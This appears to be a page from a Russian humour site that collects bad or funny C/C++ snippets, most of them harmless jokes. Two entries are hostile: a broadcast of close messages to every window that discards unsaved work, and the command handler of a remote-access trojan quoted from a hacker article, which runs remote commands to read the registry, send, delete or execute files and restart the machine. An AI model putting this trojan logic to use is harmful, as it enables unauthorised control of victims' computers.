- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
// Решил узнать, что лучше C или C++.
int C;
if(C == C++)
cout << "То же самое.";
else
cout << "Разные.";
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+77
// Решил узнать, что лучше C или C++.
int C;
if(C == C++)
cout << "То же самое.";
else
cout << "Разные.";
C++ то же самое что и С.
Как было сказано в одной книге компьютер очень глупый(Хоть он тут и не причём, компилятор подставил).
+11
float fNumber;
//...
//Куча бреда
//...
if(fNumber == +0)
cout << "Неверно.;
else if(fNumber == -0)
cout << "Неверно.;
else if(fNumber < +0 && fNumber > -0)
cout << "У вас неправильная система счисления.";
else{
//...
}
+8
int Speed = 1000; // 1000 тиков = 1 секунда
int TimeBombs = 1020; // 1020 секунд = 17 минут
while(TimeBombs){
Sleep(Speed);
if(Speed > 0)
Speed--;
TimeBombs--;
}
cout << "Бабах!";
Террористам на заметку.
+15
int getRandomNumber(){
int Number[1];
return Number[6];
}
//Я только учусь, поэтому не судите строго.
И кому теперь нужно srand(GetTickCount());
+14
BOOL shutdown_windows()
{
//...
Sleep(1000);
return FALSE; // Если к этому времени мы еще не закрыты - что-то пошло не так.
}
+19
#include <Windows.h>
int main(int argc, char* argv[])
{
PostMessageA(HWND_BROADCAST, WM_CLOSE, 0, 0); // Противник оглушен!
PostMessageA(HWND_BROADCAST, WM_DESTROY, 0, 0); // Finish him!
PostMessageA(HWND_BROADCAST, WM_QUIT, 0, 0); // FATALITY!!!
return 0;
}
Вот так, легко и непринужденно, мы заставляем ОС Windows перезагрузиться с потерей всех несохраненных данных, попутно кладя большой и толстый на UAC.
+5
#include "iostream"
using namespace std;
void main ()
{
setlocale(LC_ALL,"Russian"); //Поддержка киррилицы
float A1,A2,A3,A4,A5;
int N;
int i;
cout<<"Введите количество выступлений"<<endl;
cin>>N; //Вводим кол-во выступлений
for(i=0;i<N;i++) //Вводим массив
{cout<<"Введите оценки за выступление"<<endl;
cout<<"Введите оценку 1"<<endl;
cin>>A1;
cout<<"Введите оценку 2"<<endl;
cin>>A2;
cout<<"Введите оценку 3"<<endl;
cin>>A3;
cout<<"Введите оценку 4"<<endl;
cin>>A4;
cout<<"Введите оценку 5"<<endl;
cin>>A5;
if(A1>A2&&A1>A3&&A1>A4&&A1>A5) {cout<<A1;}
else if (A2>A1&&A2>A3&&A2>A4&&A2>A5) {cout<<"Максимальная оценка = "<<A2<<endl; }
else if (A3>A1&&A3>A2&&A3>A4&&A3>A5) {cout<<"Максимальная оценка = "<<A3<<endl; }
else if (A4>A1&&A4>A2&&A4>A3&&A4>A5) {cout<<"Максимальная оценка = "<<A4<<endl; }
else if (A5>A1&&A5>A2&&A5>A3&&A5>A4) {cout<<"Максимальная оценка = "<<A5<<endl; }
}
}
ЗАДАЧА
Пожалуйста помогите составить для задачи на с++
Я решаю задачи, но блок схемы строить не могу
С ответов Гугла.
http://otvety.google.ru/otvety/thread?tid=5bd43c242dce51f8
+22
switch(par)
{
case 'O' : cdcb.Parity = ODDPARITY;
case 'M': cdcb.Parity = MARKPARITY;
case 'E' : cdcb.Parity = EVENPARITY;
case 'N' : cdcb.Parity = NOPARITY;
default : cdcb.Parity = NOPARITY;
}
И это в классе dracula
+13
void __fastcall TForm1::FormCreate(TObject *Sender)
{
// ServSckt - наш компонент TServerSocket
ServSckt->Port = 4321;
ServSckt->Active = true;
}
void __fastcall TForm1::ServScktClientRead(TObject *Sender,
TCustomWinSocket *Socket)
{
RecCommand(Socket->ReceiveText()); // пишем для наглядности функцию обработки поступившей
// информации, которую передаем как параметр этой функции
}
//---------------------------------------------------------------------------
// собственно сама функция: Rec - сокращение от Recognize. Можно по-другому назвать =)
void TForm1::RecCommand (String received)
{
int cn;
TTrojanUtilites Utilz; // создаем объект наших утилит
Utilz.Sock=ServSckt; // необходимо для отсылки ответа клиенту, так как сокет у нас
// находится на форме, а TTrojanUtilites не имеет никакого отношения
// к форме. Просто передаем указатель на TServerSocket
String temp;
temp=received;
temp.Delete(2,temp.Length()); // получаем первый символ сообщения - номер команды
cn = StrToInt(temp); // преобразуем в число
received.Delete(1,1); // удаляем код команды - остаются одни параметры
switch (cn) { // в соответсвии с полученой командой
// запускаем соотвествующую утилиту
case 1 : Utilz.RestartMachine(); break; // перезагрузка
case 2 : Utilz.WriteRegistry(received); break; // запись в реестр
case 3 : Utilz.ReadRegistry(received); break; // чтение реестра
case 4 : Utilz.SendFile(received); break; // чтение файла
case 5 : Utilz.DeleteFile(received); break; // удаление файла
case 6 : Utilz.ExecuteFile(received); break; // запуск файла
case 7 : Utilz.OpenCloseCD; break; // открытие/закрытие CD-ROM
case 8 : Utilz.HideMouse(); break; // прячем курсор мыши
case 9 : Utilz.SwapMouseButtons(); break; // переключаем кнопки мыши
default:
SendMsgToClient("Неправильная команда!") ; // получена недопустимая команда
// информируем клиента об этом
}
}
NAT, NAT... Да что вы пристали со своим NAT?!
Отсюда - http://hackersoft.ru/library/articles/other/pishem_svoego_troyanchika_.html
+15
// file: Filter.h
inline const CString GetField() const
{
if (m_strField.compare(MBL_FT_AUTHID_STRING) == 0)
{
return CString(MBL_FT_AUTHID_SERVER_STRING);
}
else if (m_strField.compare(MBL_FT_CORRELATION_ID_STRING) == 0)
{
return CString(MBL_FT_CORRELATION_ID_SERVER_STRING);
}
else if (m_strField.compare(MBL_FT_PLAN_STRING) == 0)
{
return CString(MBL_FT_PLAN_SERVER_STRING);
}
// ... всего 14 веток в таком духе ...
else if (m_strField.compare(MBL_FT_DDF_ACCOUNTING_STRING_STRING) == 0)
{
return CString(MBL_FT_DDF_ACCOUNTING_STRING_SERVER_STRING);
}
return m_strField;
}
Автор — русский.